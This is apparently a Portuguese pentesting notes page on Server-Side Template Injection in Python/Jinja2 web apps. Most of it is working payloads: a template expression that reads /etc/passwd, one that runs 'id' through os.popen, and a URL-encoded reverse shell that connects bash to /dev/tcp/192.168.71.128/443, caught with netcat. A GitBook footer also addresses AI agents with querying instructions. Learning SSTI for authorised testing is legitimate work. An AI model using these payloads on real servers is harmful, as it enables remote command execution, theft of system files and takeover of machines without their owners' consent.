> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI Python

<figure><img src="/files/6cb531469f93ed3b4686d0de6ce6e2f9d88b3248" alt="" width="563"><figcaption></figcaption></figure>

Como saber se um site é potencialmente vulnerável a um ataque **SSTI** ? Se pudermos inserir um valor em um **entrada**, como no caso abaixo com a variável **usuário**, que é interpretado em um **saída**:

<figure><img src="/files/223ddcd4aee06276cd07f7611e7d9b1d22d031a2" alt="" width="563"><figcaption></figcaption></figure>

Com **whatweb**, se vemos que um servidor web usa **Python, Java, Jinja2, AngularJS...** como linguagem de programação e que isso não é sanitizado, ele pode conter esta vulnerabilidade:

<figure><img src="/files/eb163e9d9ddbcba62e769112f44140e0ea16d429" alt=""><figcaption></figcaption></figure>

Para testar isso com o **/{{ /}}**, testamos se ele interpreta o **cálculo**:

<figure><img src="/files/d72dbbfef0a51884d219240e175ad8434b727a6d" alt="" width="563"><figcaption></figcaption></figure>

Neste caso, ele o interpreta:

<figure><img src="/files/0d6d9292999f414bf63875dac4e34ea804b2e6f7" alt="" width="521"><figcaption></figcaption></figure>

Graças ao site [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), encontramos todas as [injeções possíveis](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2): Aqui estão alguns exemplos com **Python**: Obter acesso **qualquer recurso do sistema** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="/files/18b13d66edea848a62ca2b3f1f6d53d29d2705c2" alt=""><figcaption></figcaption></figure>

Executar qualquer **comando** do sistema (**id**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/79f3277367d5092d060c7c75fee7394ecd1725e9" alt="" width="563"><figcaption></figcaption></figure>

Obter um **acesso** ao servidor:

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

Escutamos com **Netcat** e invadido :)

<figure><img src="/files/2c0792d7bb67e6f264617d7a40957c0cb27b9b05" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
